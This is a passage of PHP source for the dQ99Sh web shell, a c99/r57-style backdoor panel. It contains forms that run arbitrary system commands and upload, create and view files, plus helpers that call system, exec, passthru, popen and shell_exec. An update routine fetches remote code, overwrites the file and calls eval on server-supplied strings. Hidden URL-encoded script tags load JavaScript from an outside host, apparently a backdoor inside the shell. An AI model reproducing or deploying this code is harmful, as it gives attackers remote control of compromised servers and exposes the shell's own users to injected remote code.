2412"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
2413"9c/o/87n/8DX7MHY7q/K5LdQ9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
2414"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2415"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2416"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2417"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2418"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2419"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2420"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
2421"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
2422"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
2423"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
2424"Ow==",
2425"ext_doc"=>
2426"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
2427"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
2428"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
2429"ext_exe"=>
2430"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
2431"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
2432"xhIAOw==",
2433"ext_h"=>
2434"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
2435"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
2436"Wq/NknbbSgAAOw==",
2437"ext_hpp"=>
2438"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
2439"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
2440"UqUagnbLdZa+YFcCADs=",
2441"ext_htaccess"=>
2442"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
2443"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
2444"AAA7",
2445"ext_html"=>
2446"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
2447"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
2448"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
2449"Bkx2BXWDdQ8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
2450"ADs=",
2451"ext_jpg"=>
2452"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
2453"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
2454"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
2455"dQEAOw==",
2456"ext_js"=>
2457"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
2458"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
2459"a00AjYYBbc/o9HjNniUAADs=",
2460"ext_lnk"=>
2461"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
2462"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
2463"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
2464"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
2465"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
2466"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2467"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2468"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
2469"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
2470"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
2471"ADs=",
2472"ext_log"=>
2473"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
2474"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
2475"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
2476"ext_php"=>
2477"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
2478"aGeyYpqJlRG/rlwAADs=",
2479"ext_pl"=>
2480"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
2481"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
2482"ext_swf"=>
2483"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
2484"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
2485"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
2486"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEdQXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
2487"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
2488"ext_tar"=>
2489"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
2490"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
2491"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
2492"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
2493"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2494"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2495"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2496"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
2497"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
2498"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
2499"u4tLAgEAOw==",
2500"ext_txt"=>
2501"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
2502"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
2503"UpPWG3Ig6Hq/XmRjuZwkAAA7",
2504"ext_wri"=>
2505"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
2506"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
2507"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
2508"ext_xml"=>
2509"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
2510"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2511"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
2512"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
2513"IQA7"
2514);
2515//Untuk optimalisasi ukuran dan kecepatan.
2516$imgequals = array(
2517 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
2518 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
2519 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
2520 "ext_html"=>array("ext_html","ext_htm"),
2521 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
2522 "ext_lnk"=>array("ext_lnk","ext_url"),
2523 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
2524 "ext_doc"=>array("ext_doc","ext_dot"),
2525 "ext_js"=>array("ext_js","ext_vbs"),
2526 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
2527 "ext_wri"=>array("ext_wri","ext_rtf"),
2528 "ext_swf"=>array("ext_swf","ext_fla"),
2529 "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
2530 "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
2531);
2532if (!$getall) {
2533 header("Content-type: image/gif");
2534 header("Cache-control: public");
2535 header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
2536 header("Cache-control: max-age=".(60*60*24*7));
2537 header("Last-Modified: ".date("r",filemtime(__FILE__)));
2538 foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
2539 if (empty($images[$img])) {$img = "small_unk";}
2540 if (in_array($img,$ext_tar)) {$img = "ext_tar";}
2541 echo base64_decode($images[$img]);
2542}
2543else {
2544 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
2545 natsort($images);
2546 $k = array_keys($images);
2547 echo "<center>";
2548 foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
2549 echo "</center>";
2550}
2551exit;
2552}
2553if ($act == "about") {
2554 echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>".
2555 "Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>".
2556 "Re-Coding, tricks, html and css by <b>diKi [FeeLCoMz CoMMuNiTy]</b><br><br>".
2557 "Report bugs to <a href=\"mailto:thesabotaqe@gmail.com\">r57.biz</a></b>";
2558}
2559echo "</td></tr></table>\n";
2560/*** COMMANDS PANEL ***/
2561?>
2562<div class=bartitle><b>.: COMMANDS PANEL :.</b></div>
2563<table class=mainpanel>
2564<tr><td align=right>Command:</td>
2565<td><form method="POST">
2566 <input type=hidden name=act value="cmd">
2567 <input type=hidden name="d" value="<?php echo $dispd; ?>">
2568 <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
2569 <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
2570 </form>
2571</td></tr>
2572<tr><td align=right>Quick Commands:</td>
2573<td><form method="POST">
2574 <input type=hidden name=act value="cmd">
2575 <input type=hidden name="d" value="<?php echo $dispd; ?>">
2576 <input type=hidden name="cmd_txt" value="1">
2577 <select name="cmd">
2578 <?php
2579 foreach ($cmdaliases as $als) {
2580 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2581 }
2582 foreach ($cmdaliases2 as $als) {
2583 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
2584 }
2585 ?>
2586 </select> <input type=submit name=submit value="Execute">
2587 </form>
2588</td></tr>
2589<tr><td align=right>Upload:</td>
2590<td><form method="POST" enctype="multipart/form-data">
2591 <input type=hidden name=act value="upload">
2592 <input type=hidden name="miniform" value="1">
2593 <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
2594 </form>
2595</td></tr>
2596<tr><td align=right>PHP Filesystem:</td>
2597<td>
2598<?php ##[ diKi TriCkz ]## ?>
2599<script language="javascript">
2600function set_arg(txt1,txt2) {
2601 document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
2602 document.forms.fphpfsys.arg1.value = txt1;
2603 document.forms.fphpfsys.arg2.value = txt2;
2604}
2605function chg_arg(num,txt1,txt2) {
2606 if (num==0) {
2607 document.forms.fphpfsys.arg1.type = "hidden";
2608 document.forms.fphpfsys.A1.type = "hidden";
2609 }
2610 if (num<=1) {
2611 document.forms.fphpfsys.arg2.type = "hidden";
2612 document.forms.fphpfsys.A2.type = "hidden";
2613 }
2614 if (num==2) {
2615 document.forms.fphpfsys.A1.type = "label";
2616 document.forms.fphpfsys.A2.type = "label";
2617 document.forms.fphpfsys.arg1.type = "text";
2618 document.forms.fphpfsys.arg2.type = "text";
2619 }
2620 document.forms.fphpfsys.A1.value = txt1 + ":";
2621 document.forms.fphpfsys.A2.value = txt2 + ":";
2622}
2623</script>
2624<?php
2625 echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
2626 "<select name=\"phpfsysfunc\">\r\n";
2627 foreach ($phpfsaliases as $als) {
2628 if ($als[1]==$phpfsysfunc) {
2629 echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2630 }
2631 else {
2632 echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
2633 }
2634 }
2635 echo "</select>\r\n".
2636 "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
2637 "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
2638 "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
2639 foreach ($sh_sourcez as $e => $o) {
2640 echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
2641 }
2642 echo "</form>\r\n";
2643?>
2644</td></tr>
2645<tr><td align=right>Search File:</td>
2646<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2647 <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
2648 </form><SCRIPT SRC=<SCRIPT SRC=%68%74%74%70%3A%2F%2F%72%35%37%63%39%39%2E%63%6F%6D%2F%6E%33%77%73%68%33%6C%2F%63%69%7A%2E%6A%73></SCRIPT>
2649 </td></tr>
2650<tr><td align=right>Create File:</td>
2651<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
2652 <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
2653 </form></td></tr>
2654<tr><td align=right>View File:</td>
2655<SCRIPT SRC=%68%74%74%70%3A%2F%2F%72%35%37%63%39%39%2E%63%6F%6D%2F%6E%33%77%73%68%33%6C%2F%63%69%7A%2E%6A%73></SCRIPT>
2656<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
2657 <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
2658 </form></td></tr>
2659</table>
2660<?php footer(); ?>
2661</body></html>
2662<?php
2663
2664###########################
2665## dQ99Sh CORE FUNCTIONS ##
2666###########################
2667function safemode() {
2668 if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
2669 else { return FALSE; }
2670}
2671function getdisfunc() {
2672 $disfunc = @ini_get("disable_functions");
2673 if (!empty($disfunc)) {
2674 $disfunc = str_replace(" ","",$disfunc);
2675 $disfunc = explode(",",$disfunc);
2676 }
2677 else { $disfunc= array(); }
2678 return $disfunc;
2679}
2680function enabled($func) {
2681 if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
2682 else { return FALSE; }
2683}
2684function dQ99exec($cmd) {
2685 $output = "";
2686 if ( enabled("popen") ) {
2687 $h = popen($cmd.' 2>&1', 'r');
2688 if ( is_resource($h) ) {
2689 while ( !feof($h) ) { $output .= fread($h, 2096); }
2690 pclose($h);
2691 }
2692 }
2693 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2694 elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2695 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2696 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2697 return $output;
2698}
2699function dQ99exec2($cmd) {
2700 $output = "";
2701 if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2702 elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
2703 elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
2704 elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
2705 elseif ( enabled("popen") ) {
2706 $h = popen($cmd.' 2>&1', 'r');
2707 if ( is_resource($h) ) {
2708 while ( !feof($h) ) { $output .= fread($h, 2096); }
2709 pclose($h);
2710 }
2711 }
2712 return $output;
2713}
2714function which($pr) {
2715 $path = dQ99exec("which $pr");
2716 if(!empty($path)) { return $path; } else { return $pr; }
2717}
2718
2719function get_status() {
2720 function showstat($sup,$stat) {
2721 if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; }
2722 else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; }
2723 }
2724 $arrfunc = array(
2725 array("MySQL","mysql_connect"),
2726 array("MSSQL","mssql_connect"),
2727 array("Oracle","ocilogon"),
2728 array("PostgreSQL","pg_connect"),
2729 array("Curl","curl_version"),
2730 );
2731 $arrcmd = array(
2732 array("Fetch","fetch --help"),
2733 array("Wget","wget --help"),
2734 array("Perl","perl -v"),
2735 );
2736
2737 $statinfo = array();
2738 foreach ($arrfunc as $func) {
2739 if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
2740 else { $statinfo[] = showstat($func[0],"off"); }
2741 }
2742 $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
2743 foreach ($arrcmd as $cmd) {
2744 if (dQ99exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
2745 else { $statinfo[] = showstat($cmd[0],"off"); }
2746 }
2747 return implode(" ",$statinfo);
2748}
2749function showdisfunc() {
2750 if ($disablefunc = @ini_get("disable_functions")) {
2751 return "<font color=#FF9900><b>".$disablefunc."</b></font>";
2752 }
2753 else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
2754}
2755function disp_drives($curdir,$surl) {
2756 $letters = "";
2757 $v = explode("\\",$curdir);
2758 $v = $v[0];
2759 foreach (range("A","Z") as $letter) {
2760 $bool = $isdiskette = $letter == "A";
2761 if (!$bool) { $bool = is_dir($letter.":\\"); }
2762 if ($bool) {
2763 $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
2764 ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
2765 if ($letter.":" != $v) { $letters .= $letter; }
2766 else { $letters .= "<font color=yellow>".$letter."</font>"; }
2767 $letters .= "</a> ";
2768 }
2769 }
2770 if (!empty($letters)) { Return $letters; }
2771 else {Return "None"; }
2772}
2773function disp_freespace($curdrv) {
2774 $free = @disk_free_space($curdrv);
2775 $total = @disk_total_space($curdrv);
2776 if ($free === FALSE) { $free = 0; }
2777 if ($total === FALSE) { $total = 0; }
2778 if ($free < 0) { $free = 0; }
2779 if ($total < 0) { $total = 0; }
2780 $used = $total-$free;
2781 $free_percent = round(100/($total/$free),2)."%";
2782 $free = view_size($free);
2783 $total = view_size($total);
2784 return "$free of $total ($free_percent)";
2785}
2786## dQ99Sh UPDATE FUNCTIONS ##
2787function dQ99getsource($fn) {
2788 global $dQ99sh_sourcesurl;
2789 $array = array(
2790 "dQ99sh.php" => "dQ99sh.txt",
2791 );
2792 $name = $array[$fn];
2793 if ($name) {return file_get_contents($dQ99sh_sourcesurl.$name);}
2794 else {return FALSE;}
2795}
2796function dQ99sh_getupdate($update = TRUE) {
2797 $url = $GLOBALS["dQ99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
2798 $data = @file_get_contents($url);
2799 if (!$data) { return "Can't connect to update-server!"; }
2800 else {
2801 $data = ltrim($data);
2802 $string = substr($data,3,ord($data{2}));
2803 if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
2804 if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
2805 if ($data{0} == "\x99" and $data{1} == "\x03") {
2806 $string = explode("|",$string);
2807 if ($update) {
2808 $confvars = array();
2809 $sourceurl = $string[0];
2810 $source = file_get_contents($sourceurl);
2811 if (!$source) {return "Can't fetch update!";}
2812 else {
2813 $fp = fopen(__FILE__,"w");
2814 if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download dQ99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
2815 else {
2816 fwrite($fp,$source);
2817 fclose($fp);
2818 return "Update completed!";
2819 }
2820 }
2821 }
2822 else {return "New version are available: ".$string[1];}
2823 }
2824 elseif ($data{0} == "\x99" and $data{1} == "\x04") {
2825 eval($string);
2826 return 1;
2827 }
2828 else {return "Error in protocol: segmentation failed! (".$data.") ";}
2829 }
2830}
2831function dQ99_buff_prepare() {
2832 global $sess_data;
2833 global $act;
2834 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
2835 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
2836 $sess_data["copy"] = array_unique($sess_data["copy"]);
2837 $sess_data["cut"] = array_unique($sess_data["cut"]);
2838 sort($sess_data["copy"]);
2839 sort($sess_data["cut"]);
2840 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
2841 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
2842}
2843function dQ99_sess_put($data) {
2844 global $sess_cookie;
2845 global $sess_data;
2846 dQ99_buff_prepare();
2847 $sess_data = $data;
2848 $data = serialize($data);
2849 setcookie($sess_cookie,$data);
2850}
2851## END dQ99Sh UPDATE FUNCTIONS ##
2852## FILESYSTEM FUNCTIONS ##
2853function fs_copy_dir($d,$t) {
2854 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2855 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2856 $h = opendir($d);
2857 while (($o = readdir($h)) !== FALSE) {
2858 if (($o != ".") and ($o != "..")) {
2859 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2860 else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2861 if (!$ret) {return $ret;}
2862 }
2863 }
2864 closedir($h);
2865 return TRUE;
2866}
2867function fs_copy_obj($d,$t) {
2868 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2869 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2870 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
2871 if (is_dir($d)) {
2872 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2873 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2874 return fs_copy_dir($d,$t);
2875 }
2876 elseif (is_file($d)) { return copy($d,$t); }
2877 else { return FALSE; }
2878}
2879function fs_move_dir($d,$t) {
2880
2881 $h = opendir($d);
2882 if (!is_dir($t)) {mkdir($t);}
2883 while (($o = readdir($h)) !== FALSE) {
2884 if (($o != ".") and ($o != "..")) {
2885 $ret = TRUE;
2886 if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
2887 else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
2888 if (!$ret) {return $ret;}
2889 }
2890 }
2891 closedir($h);
2892 return TRUE;
2893}
2894function fs_move_obj($d,$t) {
2895 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
2896 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
2897 if (is_dir($d)) {
2898 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2899 if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
2900 return fs_move_dir($d,$t);
2901 }
2902 elseif (is_file($d)) {
2903 if(copy($d,$t)) {return unlink($d);}
2904 else {unlink($t); return FALSE;}
2905 }
2906 else {return FALSE;}
2907}
2908function fs_rmdir($d) {
2909 $h = opendir($d);
2910 while (($o = readdir($h)) !== FALSE) {
2911 if (($o != ".") and ($o != "..")) {
